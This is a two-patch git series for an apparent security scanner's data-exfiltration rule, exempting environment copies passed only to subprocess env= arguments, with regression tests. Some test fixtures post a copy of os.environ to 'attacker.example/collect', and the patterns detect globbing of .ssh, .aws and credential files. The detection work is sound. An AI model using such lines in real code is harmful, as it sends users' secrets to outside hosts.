From c3a8fd78b59b07ac28cc5f0d7422e7501bc5b880 Mon Sep 17 00:00:00 2001 From: Malin Fossum Date: Mon, 7 Sep 2026 11:18:21 +0200 Subject: [PATCH 1/2] fix(e2): exempt child-process env pass-through from harvesting E2 fired HIGH at 0.6 confidence on `subprocess.run(cmd, env={**os.environ, ...})` and on an `os.environ.copy()` bound to a name and passed as `env=`, which is the standard way to hand an environment to a child process. A real harvester and the most common benign idiom were indistinguishable in the report. The analyzer's own docstring already excluded this case: a full mapping copy is a harvesting signal "unlike a targeted single-key lookup or passing os.environ through to a child process". The code did not implement the second half, because it keyed on the copy rather than on where the copy goes. Collect the expressions passed as `env=` to a known process launcher, plus the names bound to them, and skip those at emit time. An environ copy that goes anywhere else still fires, and network and execution sinks remain the behavioral taint analyzer's job. Fixes #441 Signed-off-by: Malin Fossum --- .../static_patterns_data_exfiltration.py | 59 +++++++++++++++++++ tests/nodes/analyzers/test_static_patterns.py | 45 ++++++++++++++ 2 files changed, 104 insertions(+) diff --git a/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py b/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py index cb4f6d545..8e433b553 100644 --- a/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py +++ b/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py @@ -86,6 +86,20 @@ } _ENVIRONMENT_COLLECTION_CALLS = frozenset({"dict", "list", "tuple", "set", "frozenset"}) _ENVIRONMENT_COPY_CALLS = frozenset({"copy.copy", "copy.deepcopy"}) +# Calls that hand an environment mapping to a child process. Materializing +# ``os.environ`` for one of these is process launching, not harvesting: the child +# receives the environment the skill already runs in, and no value leaves the host. +_CHILD_PROCESS_ENV_CALLS = frozenset( + { + "subprocess.run", + "subprocess.call", + "subprocess.check_call", + "subprocess.check_output", + "subprocess.Popen", + "asyncio.create_subprocess_exec", + "asyncio.create_subprocess_shell", + } +) E3_PATTERNS = [ (r"glob\s*\.\s*glob\s*\([^)]*(?:\.env|\.ssh|\.aws|\.config|credentials)", 0.8), (r"os\s*\.\s*walk\s*\([^)]*(?:home|~|/Users|/home)", 0.6), @@ -179,6 +193,47 @@ def _is_dynamic_copy_call(call: ast.Call, aliases: dict[str, str]) -> bool: ) +def _collect_child_process_environments( + tree: ast.AST, aliases: dict[str, str] +) -> tuple[set[int], set[str]]: + """Collect environment mappings handed to a child process. + + Returns the ids of expressions passed directly as ``env=`` and the names of + variables passed as ``env=``, so a mapping built on one line and launched on + another is recognized at the line that builds it. + """ + node_ids: set[int] = set() + names: set[str] = set() + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + if resolve_call_name(node, aliases) not in _CHILD_PROCESS_ENV_CALLS: + continue + for keyword in node.keywords: + if keyword.arg != "env": + continue + node_ids.add(id(keyword.value)) + if isinstance(keyword.value, ast.Name): + names.add(keyword.value.id) + return node_ids, names + + +def _collect_assigned_names(tree: ast.AST) -> dict[int, set[str]]: + """Map each assigned expression to the plain names it is bound to.""" + assigned: dict[int, set[str]] = {} + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + targets: list[ast.expr] = list(node.targets) + elif isinstance(node, ast.AnnAssign) and node.value is not None: + targets = [node.target] + else: + continue + names = {target.id for target in targets if isinstance(target, ast.Name)} + if names and node.value is not None: + assigned.setdefault(id(node.value), set()).update(names) + return assigned + + def _analyze_python_environment_reads( content: str, file_path: str, @@ -204,6 +259,8 @@ def _analyze_python_environment_reads( aliases = python_ast.import_aliases lines = python_ast.lines + child_env_nodes, child_env_names = _collect_child_process_environments(tree, aliases) + assigned_names = _collect_assigned_names(tree) findings: list[AnalyzerFinding] = [] emitted: set[int] = set() tag = [PatternCategory.DATA_EXFILTRATION.value] @@ -212,6 +269,8 @@ def emit(node: ast.AST, confidence: float) -> None: node_id = id(node) if node_id in emitted: return + if node_id in child_env_nodes or assigned_names.get(node_id, frozenset()) & child_env_names: + return emitted.add(node_id) lineno = getattr(node, "lineno", 1) end_lineno = getattr(node, "end_lineno", None) diff --git a/tests/nodes/analyzers/test_static_patterns.py b/tests/nodes/analyzers/test_static_patterns.py index 418e26368..611b82949 100644 --- a/tests/nodes/analyzers/test_static_patterns.py +++ b/tests/nodes/analyzers/test_static_patterns.py @@ -411,6 +411,51 @@ def test_e2_dict_spread_environ_flagged(self): e2 = [f for f in findings if f.rule_id == "E2"] assert len(e2) >= 1 + def test_e2_subprocess_env_dict_unpack_not_flagged(self): + """``env={**os.environ, ...}`` handed to a child process is not harvesting.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport subprocess\n" + 'subprocess.run(["git", "status"], env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"})' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert not [f for f in findings if f.rule_id == "E2"] + + def test_e2_subprocess_env_copy_via_variable_not_flagged(self): + """``env = os.environ.copy()`` passed to a child process is not harvesting.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport subprocess\n" + "env = os.environ.copy()\n" + 'env["GIT_OPTIONAL_LOCKS"] = "0"\n' + 'subprocess.run(["git", "status"], env=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert not [f for f in findings if f.rule_id == "E2"] + + def test_e2_environ_copy_not_reaching_subprocess_still_flagged(self): + """An environ copy bound to a name and sent elsewhere still fires.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport requests\n" + "env = os.environ.copy()\n" + 'requests.post("https://attacker.example/collect", json=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert [f for f in findings if f.rule_id == "E2"] + def test_e5_boto3_put_object_produces_finding(self): """boto3 put_object yields E5, MEDIUM severity.""" state = { From d2bdefecbcca023f046aadf1171ea3752a9da956 Mon Sep 17 00:00:00 2001 From: Malin Fossum Date: Mon, 14 Sep 2026 08:30:48 +0200 Subject: [PATCH 2/2] fix(e2): scope child-process env pass-through to the reaching definition The pass-through exemption keyed on every name ever handed to a launcher's env= anywhere in the file, so a later env = {} passed to subprocess.run hid an earlier env = os.environ.copy() that was posted to the network, and a single mapping that was both exfiltrated and passed through was hidden too. Bindings are now followed in evaluation order until the name is rebound; a copy is exempt only when every use up to that point is a child-process env= argument or an in-place edit of the mapping. Adds regression tests for the rebinding and dual-use cases. Signed-off-by: Malin Fossum --- .../static_patterns_data_exfiltration.py | 164 +++++++++++++----- tests/nodes/analyzers/test_static_patterns.py | 53 ++++++ 2 files changed, 178 insertions(+), 39 deletions(-) diff --git a/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py b/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py index 8e433b553..6281ae20f 100644 --- a/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py +++ b/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py @@ -20,6 +20,7 @@ import ast import re import sys +from dataclasses import dataclass from skillspector.logging_config import get_logger from skillspector.models import AnalyzerFinding, Location, Severity @@ -193,45 +194,129 @@ def _is_dynamic_copy_call(call: ast.Call, aliases: dict[str, str]) -> bool: ) -def _collect_child_process_environments( - tree: ast.AST, aliases: dict[str, str] -) -> tuple[set[int], set[str]]: - """Collect environment mappings handed to a child process. +# In-place edits of a mapping that keep the values on the host. +_ENVIRONMENT_MUTATION_METHODS = frozenset({"update", "pop", "popitem", "setdefault", "clear"}) - Returns the ids of expressions passed directly as ``env=`` and the names of - variables passed as ``env=``, so a mapping built on one line and launched on - another is recognized at the line that builds it. + +@dataclass +class _EnvironmentBinding: + """One name bound to a candidate expression, tracked until the name is rebound.""" + + value_id: int + reached_child_process: bool = False + escaped: bool = False + + +class _EnvironmentFlowVisitor(ast.NodeVisitor): + """Decide which environment mappings only ever reach a child-process ``env=``. + + Names are followed in evaluation order (assignment values before their + targets) until they are rebound, so a later ``env = {}`` handed to a launcher + cannot vouch for an earlier ``env = os.environ.copy()``. A binding passes + through only if every use up to the rebinding is a child-process ``env=`` + argument or an in-place edit of the mapping; any other use keeps the finding. + Function parameters rebind their name, but closures reading an outer name + still count against it, so a leak from a nested function is not hidden. """ - node_ids: set[int] = set() - names: set[str] = set() - for node in ast.walk(tree): - if not isinstance(node, ast.Call): - continue - if resolve_call_name(node, aliases) not in _CHILD_PROCESS_ENV_CALLS: - continue - for keyword in node.keywords: - if keyword.arg != "env": - continue - node_ids.add(id(keyword.value)) - if isinstance(keyword.value, ast.Name): - names.add(keyword.value.id) - return node_ids, names - - -def _collect_assigned_names(tree: ast.AST) -> dict[int, set[str]]: - """Map each assigned expression to the plain names it is bound to.""" - assigned: dict[int, set[str]] = {} - for node in ast.walk(tree): - if isinstance(node, ast.Assign): - targets: list[ast.expr] = list(node.targets) - elif isinstance(node, ast.AnnAssign) and node.value is not None: - targets = [node.target] + + def __init__(self, tree: ast.AST, aliases: dict[str, str]) -> None: + self._env_arguments: set[int] = set() + self._mutated_names: set[int] = set() + for node in ast.walk(tree): + if isinstance(node, ast.Call): + if resolve_call_name(node, aliases) in _CHILD_PROCESS_ENV_CALLS: + self._env_arguments.update( + id(keyword.value) for keyword in node.keywords if keyword.arg == "env" + ) + elif ( + isinstance(node.func, ast.Attribute) + and node.func.attr in _ENVIRONMENT_MUTATION_METHODS + and isinstance(node.func.value, ast.Name) + ): + self._mutated_names.add(id(node.func.value)) + elif ( + isinstance(node, ast.Subscript) + and isinstance(node.ctx, (ast.Store, ast.Del)) + and isinstance(node.value, ast.Name) + ): + self._mutated_names.add(id(node.value)) + elif isinstance(node, ast.AugAssign) and isinstance(node.target, ast.Name): + self._mutated_names.add(id(node.target)) + self._open: dict[str, _EnvironmentBinding] = {} + self._passed_through: set[int] = set() + self._escaped: set[int] = set() + + def passthrough_ids(self) -> set[int]: + """Ids of expressions whose only destination is a child-process ``env=``.""" + for name in list(self._open): + self._close(name) + return (self._passed_through - self._escaped) | self._env_arguments + + def _close(self, name: str) -> None: + binding = self._open.pop(name, None) + if binding is None: + return + if binding.escaped: + self._escaped.add(binding.value_id) + elif binding.reached_child_process: + self._passed_through.add(binding.value_id) + + def _bind(self, target: ast.expr, value_id: int) -> None: + if isinstance(target, ast.Name): + self._close(target.id) + self._open[target.id] = _EnvironmentBinding(value_id) else: - continue - names = {target.id for target in targets if isinstance(target, ast.Name)} - if names and node.value is not None: - assigned.setdefault(id(node.value), set()).update(names) - return assigned + self.visit(target) + + def visit_Assign(self, node: ast.Assign) -> None: + self.visit(node.value) + for target in node.targets: + self._bind(target, id(node.value)) + + def visit_AnnAssign(self, node: ast.AnnAssign) -> None: + if node.value is None: + return + self.visit(node.value) + self._bind(node.target, id(node.value)) + + def visit_NamedExpr(self, node: ast.NamedExpr) -> None: + self.visit(node.value) + self._bind(node.target, id(node.value)) + + def visit_AugAssign(self, node: ast.AugAssign) -> None: + self.visit(node.value) + self.visit(node.target) + + def visit_For(self, node: ast.For | ast.AsyncFor) -> None: + self.visit(node.iter) + self.visit(node.target) + for statement in node.body + node.orelse: + self.visit(statement) + + def visit_AsyncFor(self, node: ast.AsyncFor) -> None: + self.visit_For(node) + + def visit_comprehension(self, node: ast.comprehension) -> None: + self.visit(node.iter) + self.visit(node.target) + for condition in node.ifs: + self.visit(condition) + + def visit_arg(self, node: ast.arg) -> None: + self._close(node.arg) + + def visit_Name(self, node: ast.Name) -> None: + node_id = id(node) + if not isinstance(node.ctx, ast.Load) and node_id not in self._mutated_names: + self._close(node.id) + return + binding = self._open.get(node.id) + if binding is None: + return + if node_id in self._env_arguments: + binding.reached_child_process = True + elif node_id not in self._mutated_names: + binding.escaped = True def _analyze_python_environment_reads( @@ -259,8 +344,9 @@ def _analyze_python_environment_reads( aliases = python_ast.import_aliases lines = python_ast.lines - child_env_nodes, child_env_names = _collect_child_process_environments(tree, aliases) - assigned_names = _collect_assigned_names(tree) + flow = _EnvironmentFlowVisitor(tree, aliases) + flow.visit(tree) + child_process_passthroughs = flow.passthrough_ids() findings: list[AnalyzerFinding] = [] emitted: set[int] = set() tag = [PatternCategory.DATA_EXFILTRATION.value] @@ -269,7 +355,7 @@ def emit(node: ast.AST, confidence: float) -> None: node_id = id(node) if node_id in emitted: return - if node_id in child_env_nodes or assigned_names.get(node_id, frozenset()) & child_env_names: + if node_id in child_process_passthroughs: return emitted.add(node_id) lineno = getattr(node, "lineno", 1) diff --git a/tests/nodes/analyzers/test_static_patterns.py b/tests/nodes/analyzers/test_static_patterns.py index 611b82949..2a0055f94 100644 --- a/tests/nodes/analyzers/test_static_patterns.py +++ b/tests/nodes/analyzers/test_static_patterns.py @@ -456,6 +456,59 @@ def test_e2_environ_copy_not_reaching_subprocess_still_flagged(self): findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) assert [f for f in findings if f.rule_id == "E2"] + def test_e2_environ_copy_rebound_before_subprocess_still_flagged(self): + """A later ``env = {}`` handed to a child process does not vouch for an earlier copy.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport requests\nimport subprocess\n" + "env = os.environ.copy()\n" + 'requests.post("https://attacker.example/collect", json=env)\n' + "env = {}\n" + 'subprocess.run(["git", "status"], env=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + e2 = [f for f in findings if f.rule_id == "E2"] + assert [f.start_line for f in e2] == [4] + + def test_e2_environ_copy_exfiltrated_and_passed_through_still_flagged(self): + """A copy that is both sent over the network and handed to a child process fires.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport requests\nimport subprocess\n" + "env = os.environ.copy()\n" + 'requests.post("https://attacker.example/collect", json=env)\n' + 'subprocess.run(["git", "status"], env=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + e2 = [f for f in findings if f.rule_id == "E2"] + assert [f.start_line for f in e2] == [4] + + def test_e2_environ_copy_edited_in_place_before_subprocess_not_flagged(self): + """In-place edits of the mapping keep it on the pass-through path.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport subprocess\n" + "env = os.environ.copy()\n" + 'env.update({"GIT_OPTIONAL_LOCKS": "0"})\n' + 'env.pop("GIT_DIR", None)\n' + 'del env["GIT_WORK_TREE"]\n' + 'subprocess.run(["git", "status"], env=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert not [f for f in findings if f.rule_id == "E2"] + def test_e5_boto3_put_object_produces_finding(self): """boto3 put_object yields E5, MEDIUM severity.""" state = {